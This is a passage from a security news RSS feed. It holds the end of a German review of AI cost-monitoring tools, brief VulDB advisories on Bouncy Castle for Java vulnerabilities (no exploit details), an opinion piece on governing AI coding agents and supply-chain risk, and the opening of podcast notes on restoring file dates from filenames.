<p class="wp-block-paragraph">Die Zielsetzung besteht bei diesem Tool darin, möglichst fundierte Schätzungen zu den Gesamtkosten jedes Produkts zu liefern. Diese werden dazu auf Kunden, Funktionen und Teams gemappt. Bei plötzlichen Schwankungen löst ein „Spike-Detektor“ einen Alarm aus.</p>



<ul class="wp-block-list">
<li><a href="https://superpenguin.ai/#pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Version für Einzelnutzer, Bezahltarife ab 30 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>leistungsstarke KI-Accounting-Funktionen inklusive Rechnungsabgleich und Nutzungserfassung;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die einen präzisen Überblick über die KI-Kostenstruktur benötigen.</li>
</ul>



<h2 class="wp-block-heading">19. <a href="https://www.vellum.ai/" target="_blank" rel="noreferrer noopener">Vellum</a></h2>



<p class="wp-block-paragraph">Diese Lösung ermöglicht es, Prompt-Ketten auf Metaebene zu managen. Zudem wird Vellum inzwischen auch als eine Art Personal Assistant vermarktet, der über vorgefertigte Konnektoren zu zahlreichen Services verfügt – etwa Gmail.</p>



<p class="wp-block-paragraph">Eine Komponente, die vielen Teams das Leben leichter machen kann ist dabei ein „LLM Cost Optimizer“, der verspricht, kostengünstigere Wege aufzutun, um bestimmte Prompts auszuführen. Das kann laut Anbieter zu Einsparungen von bis zu 60 Prozent führen.</p>



<ul class="wp-block-list">
<li><a href="https://www.vellum.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Testversion verfügbar, Bezahltarife ab 30 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Fokus auf multimodale Pipelines für echte Agentic-AI-Lösungen;</li>



<li><strong>Ideal geeignet für: </strong>Produkt-Teams mit komplexen Prompt-Engineering-Workflows.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation CIO.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Digital executive protection is a strategic imperative for CEOs]]></title>
<description><![CDATA[In this interview with Help Net Security, Brian Hill, Field CISO, Client Advisory for BlackCloak, explains how attackers reach companies through the personal lives of executives. He describes a case where a draft report sat in an executive’s personal email with no multifactor authentication, and ...]]></description>
<link>https://tsecurity.de/de/3702311/it-security-nachrichten/digital-executive-protection-is-a-strategic-imperative-for-ceos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702311/it-security-nachrichten/digital-executive-protection-is-a-strategic-imperative-for-ceos/</guid>
<pubDate>Tue, 04 Aug 2026 08:16:54 +0200</pubDate>
<content:encoded><![CDATA[<p>In this interview with Help Net Security, Brian Hill, Field CISO, Client Advisory for BlackCloak, explains how attackers reach companies through the personal lives of executives. He describes a case where a draft report sat in an executive’s personal email with no multifactor authentication, and traders acted on it before the news went public. He also covers a home network left open after an AV technician swapped cables, malware planted through hotel Wi-Fi, and why … <a href="https://www.helpnetsecurity.com/2026/08/04/brian-hill-blackcloak-digital-executive-protection/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/04/brian-hill-blackcloak-digital-executive-protection/">Digital executive protection is a strategic imperative for CEOs</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59651 | Legion of the Bouncy Castle BC-JAVA/BC-LTS-JAVA risky encryption (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle BC-JAVA and BC-LTS-JAVA. It has been classified as problematic. Affected is an unknown function. The manipulation leads to risky cryptographic algorithm.

This vulnerability is traded as CVE-2026-59651. It is possible to initiate the attack...]]></description>
<link>https://tsecurity.de/de/3702114/sicherheitsluecken/cve-2026-59651-legion-of-the-bouncy-castle-bc-javabc-lts-java-risky-encryption-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702114/sicherheitsluecken/cve-2026-59651-legion-of-the-bouncy-castle-bc-javabc-lts-java-risky-encryption-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 04:20:50 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA and BC-LTS-JAVA</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected is an unknown function. The manipulation leads to risky cryptographic algorithm.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-59651">CVE-2026-59651</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59646 | Legion of the Bouncy Castle Bouncy Castle for Java DTLS Handshake Reassembler buffer overflow (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. Affected by this issue is some unknown functionality of the component DTLS Handshake Reassembler. Such manipulation leads to buffer...]]></description>
<link>https://tsecurity.de/de/3702115/sicherheitsluecken/cve-2026-59646-legion-of-the-bouncy-castle-bouncy-castle-for-java-dtls-handshake-reassembler-buffer-overflow-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702115/sicherheitsluecken/cve-2026-59646-legion-of-the-bouncy-castle-bouncy-castle-for-java-dtls-handshake-reassembler-buffer-overflow-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 04:20:50 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. Affected by this issue is some unknown functionality of the component <em>DTLS Handshake Reassembler</em>. Such manipulation leads to buffer overflow.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-59646">CVE-2026-59646</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59648 | Legion of the Bouncy Castle Bouncy Castle for Java resource consumption (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. This vulnerability affects unknown code. Executing a manipulation can lead to resource consumption.

This vulnerability i...]]></description>
<link>https://tsecurity.de/de/3702117/sicherheitsluecken/cve-2026-59648-legion-of-the-bouncy-castle-bouncy-castle-for-java-resource-consumption-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702117/sicherheitsluecken/cve-2026-59648-legion-of-the-bouncy-castle-bouncy-castle-for-java-resource-consumption-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 04:20:50 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. This vulnerability affects unknown code. Executing a manipulation can lead to resource consumption.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-59648">CVE-2026-59648</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59649 | Legion of the Bouncy Castle BC-JAVA/BC-LTS-JAVA/BC-FJA prior 1.85/2.73.12/1.0.13/2.0.13/2.1.13 input validation (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Legion of the Bouncy Castle BC-JAVA, BC-LTS-JAVA and BC-FJA. This issue affects some unknown processing. The manipulation leads to improper input validation.

This vulnerability is listed as CVE-2026-59649. The attack may be initiated re...]]></description>
<link>https://tsecurity.de/de/3702118/sicherheitsluecken/cve-2026-59649-legion-of-the-bouncy-castle-bc-javabc-lts-javabc-fja-prior-18527312101320132113-input-validation-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702118/sicherheitsluecken/cve-2026-59649-legion-of-the-bouncy-castle-bc-javabc-lts-javabc-fja-prior-18527312101320132113-input-validation-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 04:20:50 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA, BC-LTS-JAVA and BC-FJA</a>. This issue affects some unknown processing. The manipulation leads to improper input validation.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-59649">CVE-2026-59649</a>. The attack may be initiated remotely. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59645 | Legion of the Bouncy Castle Bouncy Castle for Java FIPS up to 1.84/2.73.11/2.0.6/2.1.6 OER parser resource consumption (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java up to 1.84/2.73.11/2.0.6/2.1.6. It has been declared as problematic. This affects an unknown function of the component OER parser. Executing a manipulation c...]]></description>
<link>https://tsecurity.de/de/3702119/sicherheitsluecken/cve-2026-59645-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-up-to-18427311206216-oer-parser-resource-consumption-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702119/sicherheitsluecken/cve-2026-59645-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-up-to-18427311206216-oer-parser-resource-consumption-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 04:20:50 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java_fips">Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java up to 1.84/2.73.11/2.0.6/2.1.6</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the component <em>OER parser</em>. Executing a manipulation can lead to resource consumption.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-59645">CVE-2026-59645</a>. The attack can be executed remotely. There is not any exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59644 | Legion of the Bouncy Castle BC-JAVA up to 1.84 MLS hash-ratchet input validation (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability has been found in Legion of the Bouncy Castle BC-JAVA up to 1.84 and classified as critical. This affects an unknown function of the component MLS hash-ratchet. Performing a manipulation results in improper input validation.

This vulnerability is reported as CVE-2026-59644. The a...]]></description>
<link>https://tsecurity.de/de/3702120/sicherheitsluecken/cve-2026-59644-legion-of-the-bouncy-castle-bc-java-up-to-184-mls-hash-ratchet-input-validation-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702120/sicherheitsluecken/cve-2026-59644-legion-of-the-bouncy-castle-bc-java-up-to-184-mls-hash-ratchet-input-validation-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 04:20:50 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA up to 1.84</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This affects an unknown function of the component <em>MLS hash-ratchet</em>. Performing a manipulation results in improper input validation.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-59644">CVE-2026-59644</a>. The attack is possible to be carried out remotely. No exploit exists.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Three AI security mistakes that will haunt enterprises]]></title>
<description><![CDATA[There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.



It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe s...]]></description>
<link>https://tsecurity.de/de/3702093/ai-nachrichten/three-ai-security-mistakes-that-will-haunt-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702093/ai-nachrichten/three-ai-security-mistakes-that-will-haunt-enterprises/</guid>
<pubDate>Tue, 04 Aug 2026 04:13:14 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.</p>



<p class="wp-block-paragraph">It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe someone builds an internal dashboard with an agent. The dashboard quickly becomes indispensable, and all of a sudden the experiment becomes production. Along the way, no one thought to ask the boring, inconvenient questions: What exactly was pulled from npm, PyPI, or Docker Hub? How is (or was) authentication configured? Is anyone watching for supply chain attacks against the tools and libraries the agents chose?</p>



<p class="wp-block-paragraph">And it’s not just a one-off project here or a couple of applications there. AI is enabling organizations to generate more code and ship more products and projects, more quickly, than ever before. By the time security teams get a look, the business is hooked and there’s no turning back. An actual nightmare has begun.</p>



<p class="wp-block-paragraph">There are three major problems that make the nightmare real. </p>



<h2 class="wp-block-heading">Components you never explicitly chose</h2>



<p class="wp-block-paragraph">When you ask an AI agent to build an app, it doesn’t just spit out a single script. It quietly assembles an entire ecosystem around whatever problem you’ve described to it. It pulls in a web framework, grabs a bunch of libraries, stands up databases, and then it potentially builds everything on dependencies in container images.</p>



<p class="wp-block-paragraph">From a productivity perspective, this is awesome. However, from a security standpoint, it’s worrisome, to say the least. When I’ve built apps like this myself, I couldn’t begin to tell you all of the components that were being used unless I went back and asked the agent to explain itself.</p>



<p class="wp-block-paragraph">We live in a world where anyone can publish to npm or PyPI, and we’ve seen attackers slip malicious packages into those ecosystems or compromise ones that are widely used. Some of the recent incidents have involved security and devops tools themselves pulling a compromised dependency, running it as part of CI/CD with elevated privileges, and quietly exfiltrating secrets or tampering with builds. I personally experienced this type of compromise a couple of months ago, and had to update all of my credentials in GitHub.</p>



<p class="wp-block-paragraph">Pulling unvetted code is bad; now layer AI agents on top of that. They default to whatever is easiest to discover and integrate. If a package solves a problem in front of the agent, the agent will add it. This is the old “download a random library from the Internet” problem, but now it’s on autopilot, at scale, and moving at a pace we’ve never seen before.</p>



<p class="wp-block-paragraph">To solve this problem, we must provide the agents with an innate sense of our risk tolerance, an approved components list, our desires around logging, etc. We can do this with spec files and what the industry calls constitutions. Collectively, this is called harness engineering, which we will talk more about later.</p>



<h2 class="wp-block-heading">Skills shifting from code to architecture</h2>



<p class="wp-block-paragraph">There has been a lot of hand-wringing about <a href="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html">whether junior developers</a> will ever <a href="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html">really learn to code</a> if AI is doing all of their coding for them.</p>



<p class="wp-block-paragraph">That’s not what worries me.</p>



<p class="wp-block-paragraph">I think it’s fine to let an agent spit out code. It’s a job they are really good at. What they are not really good at is identifying and avoiding problems in code.</p>



<p class="wp-block-paragraph">I haven’t written code in quite some time. I can, but it doesn’t make sense for me to do so. What is worth my while is noticing when an agent suggests something dumb or even dangerous (or both).</p>



<p class="wp-block-paragraph">For example, while working on a recent personal project, an agent proposed exposing a memory server on the public Internet with no authentication. The agent wired things up so smoothly that, at first glance, everything looked fine and just worked. But then I paused and asked, “Wait, how is this actually authenticating? Where’s the password, secret token, or OAuth in this flow?” Turns out it wasn’t authenticating and there was no password. If I hadn’t taken that beat—and then argued with the agent for a while—the app would have gone live with no protection.</p>



<p class="wp-block-paragraph">So, the skills issue isn’t about whether we will lose the ability to code but rather whether we have the ability to ask questions and be discerning, and whether we have the understanding to know when something doesn’t look or even feel right. Do organizations have people who know what a dangerous software pattern looks like when the agent suggests it? You need people who can recognize when an authentication flow is too permissive, when a data store should never be exposed beyond a certain boundary, and when an architecture has become such a steaming pile of technical debt that the right answer is to throw away a whole layer and rebuild it.</p>



<p class="wp-block-paragraph">You need people who know that “what works” isn’t the same as “what’s safe” or “what’s right” and who can argue back with the agent when the former doesn’t line up with the latter.</p>



<p class="wp-block-paragraph">It’s not about syntax. It’s about architecture, supply chain awareness, and the willingness to say, “We’re tearing this down and doing it right,” even when the prototype looks good on the surface. Teach your AI-assisted coders basic security principles, basic architectural patterns. The AI will teach them the more advanced stuff, as long as they keep asking questions.</p>



<h2 class="wp-block-heading">Agents with no harness</h2>



<p class="wp-block-paragraph">The third problem is that we’ve unleashed some very capable agents into our development workflows without treating them like first-class actors that need governance.</p>



<p class="wp-block-paragraph">Many organizations are wiring AI assistants into a repo or IDE and letting them scaffold projects and pipelines. Maybe they bolt on a security scanner and declare “AI enablement.” That’s not a governance model, that’s optimism (and not even cautious optimism).</p>



<p class="wp-block-paragraph">Indeed, a code-generating agent with broad access to your repos, your CI/CD pipeline, and your artifact registries is effectively a hyper-productive and not-very-well-trained junior developer with access to the Internet and no ingrained sense of organizational policies. It can introduce new tools, new dependencies, and new patterns faster than your review processes can handle.</p>



<p class="wp-block-paragraph">In my personal projects, I’ve started to think of this as what AI coders call a harness-engineering problem. For every agent that’s responsible for building or wiring code, I try to put other agents in the loop that are responsible for tearing it down, at least conceptually. For example, one agent focuses on security and looks for obvious vulnerabilities and bad practices. Another looks at architecture and points out when the app design is veering into unmaintainable territory. A third looks at performance and reliability issues, which are themselves a kind of security concern when you think about things like denial of service and resource exhaustion. Pair this with constitutions that give the agents first principles on architecture, security, and design, and this is no longer vibe coding, it’s harness engineering at scale for all of your projects.</p>



<p class="wp-block-paragraph">What I am doing isn’t perfect; there is no perfect in this space, because these are non-deterministic, statistical tools. But, many organizations aren’t even doing this. In effect, their agents are freelancing. They’re vibe coding. They’re not constrained to trusted registries or hardened base images. They’re not required to log their decisions in a way that security can audit. No one owns the harness, and that means a lot of implementation decisions have fully shifted from humans to systems that no one is really watching.</p>



<h2 class="wp-block-heading">New problems require new thinking</h2>



<p class="wp-block-paragraph">The enterprise AI nightmare is not a killer robot; it’s the erosion of our ability to see and control what’s running in our own environments at the exact moment our velocity is exploding. The danger is in ceding your agency. It’s in shipping applications that internal and external customers love—and don’t want to give up—but inherently aren’t safe. Right now, someone in your organization is using AI to build a capable app, pulling in who knows what from who knows where and adding it to your infrastructure.</p>



<p class="wp-block-paragraph">The good news is that these problems are identifiable. They are also solvable, although it will take a new form of thinking than what solved problems in the past. You must think statistically, and declare constitutions with first principles. You can standardize trusted stacks and registries. You can retrain people around architectural security rather than just “secure coding.” You can start treating agent harnesses as systems that deserve design reviews and edits.</p>



<p class="wp-block-paragraph">But, none of that can happen until the enterprise is willing to admit that the nightmare is already here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59641 | Legion of the Bouncy Castle Bouncy Castle for Java prior 1.85/2.73.12/1.0.7/2.0.7/2.1.7 assertion (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. Affected by this vulnerability is an unknown functionality. This manipulation causes reachable assertion.

The identification...]]></description>
<link>https://tsecurity.de/de/3702036/sicherheitsluecken/cve-2026-59641-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-18527312107207217-assertion-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702036/sicherheitsluecken/cve-2026-59641-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-18527312107207217-assertion-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:56:41 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. Affected by this vulnerability is an unknown functionality. This manipulation causes reachable assertion.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-59641">CVE-2026-59641</a>. It is possible to initiate the attack remotely. There is no exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59640 | Legion of the Bouncy Castle Bouncy Castle for Java up to 2.1.12 OpenPGP security check (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/1.0.12/2.0.12/2.1.12. It has been classified as critical. The impacted element is an unknown function of the component OpenPGP. Performing...]]></description>
<link>https://tsecurity.de/de/3702037/sicherheitsluecken/cve-2026-59640-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-2112-openpgp-security-check-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702037/sicherheitsluecken/cve-2026-59640-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-2112-openpgp-security-check-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:56:41 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/1.0.12/2.0.12/2.1.12</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. The impacted element is an unknown function of the component <em>OpenPGP</em>. Performing a manipulation results in security check for standard.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-59640">CVE-2026-59640</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59642 | Legion of the Bouncy Castle Bouncy Castle for Java up to 2.1.11 data authenticity (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/1.0.11/2.0.11/2.1.11. The affected element is an unknown function. This manipulation causes ins...]]></description>
<link>https://tsecurity.de/de/3702038/sicherheitsluecken/cve-2026-59642-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-2111-data-authenticity-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702038/sicherheitsluecken/cve-2026-59642-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-2111-data-authenticity-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:56:41 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/1.0.11/2.0.11/2.1.11</a>. The affected element is an unknown function. This manipulation causes insufficient verification of data authenticity.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-59642">CVE-2026-59642</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59639 | Legion of the Bouncy Castle Bouncy Castle for Java CMS verifySignatures improper authentication (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java FIPS and Bouncy Castle for Java LTS. It has been rated as critical. Affected by this issue is the function verifySignatures of the component CMS. This manipulation causes improper authenticatio...]]></description>
<link>https://tsecurity.de/de/3702039/sicherheitsluecken/cve-2026-59639-legion-of-the-bouncy-castle-bouncy-castle-for-java-cms-verifysignatures-improper-authentication-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702039/sicherheitsluecken/cve-2026-59639-legion-of-the-bouncy-castle-bouncy-castle-for-java-cms-verifysignatures-improper-authentication-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:56:41 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java FIPS and Bouncy Castle for Java LTS</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is the function <code>verifySignatures</code> of the component <em>CMS</em>. This manipulation causes improper authentication.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-59639">CVE-2026-59639</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59643 | Legion of the Bouncy Castle Bouncy Castle for Java/Bouncy Castle for Java FIPS OpenPGP protection mechanism (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Legion of the Bouncy Castle Bouncy Castle for Java and Bouncy Castle for Java FIPS. The impacted element is an unknown function of the component OpenPGP. Such manipulation leads to protection mechanism failure.

This vulnerability is...]]></description>
<link>https://tsecurity.de/de/3702035/sicherheitsluecken/cve-2026-59643-legion-of-the-bouncy-castle-bouncy-castle-for-javabouncy-castle-for-java-fips-openpgp-protection-mechanism-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702035/sicherheitsluecken/cve-2026-59643-legion-of-the-bouncy-castle-bouncy-castle-for-javabouncy-castle-for-java-fips-openpgp-protection-mechanism-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:56:40 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java and Bouncy Castle for Java FIPS</a>. The impacted element is an unknown function of the component <em>OpenPGP</em>. Such manipulation leads to protection mechanism failure.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-59643">CVE-2026-59643</a>. The attack can be executed remotely. There is not any exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4697: Correcting the Dates of Files]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


I recently had an experience where UNIX tools proved very useful. A relative had an old mobile phone running Android that stopped connecting to the carrier's network and bought a new one to replace it. I took on the job of trying to copy their fi...]]></description>
<link>https://tsecurity.de/de/3701999/podcasts/hpr4697-correcting-the-dates-of-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701999/podcasts/hpr4697-correcting-the-dates-of-files/</guid>
<pubDate>Tue, 04 Aug 2026 02:27:02 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
I recently had an experience where UNIX tools proved very useful. A relative had an old mobile phone running Android that stopped connecting to the carrier's network and bought a new one to replace it. I took on the job of trying to copy their files (consisting of just photos and videos) off of the old phone.</p>

<p>
Google's software was desperate to convince me to upload everything to the cloud, but I wasn't interested. It offered the option of copying the files over to an SD card, but failed on repeated attempts to do that. The option I tried next was to transfer them to another device via Bluetooth—that one did actually work, although it was slow and would only handle sending about 100 files at a time.</p>

<p>
They came over to my laptop OK, but the problem with that method was that all of the file times were set to the time when they were transferred. I'm not super familiar with how mobile apps manage metadata, but would presume that they look to file times for organizing photos by date. Fortunately, the <em>
names</em>
 of each of the files included the date and time they were created. I recognized that I could write a bit of shell script to parse the filenames and set the file times accordingly.</p>

<p>
While there were over 800 files, the good news is that there were only three different categories of filenames, so the logic to extract the information needed was relatively simple. Each file had eight numerical digits representing the date and six digits representing the time. It would definitely be an option to come up with a more sophisticated parser that could handle a wide variety of filenames, but I went the lazy way and just handled those three cases. Another nice aspect was that none of the filenames contained spaces, which allowed me to be a bit less careful when using them in command lines. I didn't need to worry about time zones because my laptop was set to the same time zone as the phone—also, if a time was off a by a few hours it wouldn't make a practical difference.</p>

<p>

<em>
Examples of the three different types of filenames I had to deal with, labeled with the relevant values: YYYY=year, MM=month, DD=day, hh=hour, mm=minute, and SS=second.</em>

</p>

<pre data-language="plain">
00001IMG_00001_BURST20250525140124.jpg
                    YYYYMMDDhhmmSS

IMG_20220223_124023.jpg
VID_20221017_095024.mp4
    YYYYMMDD hhmmSS

20191224_195939.jpg
20161021_122620-1.jpg
20191130_134317_Burst01.jpg
20200129_223612_010.jpg
YYYYMMDD hhmmSS
</pre>

<p>
I considered <code>
awk</code>
 as an option (see <a href="https://hackerpublicradio.org/eps/hpr4657/index.html#comment_4766" rel="noopener noreferrer" target="_blank">
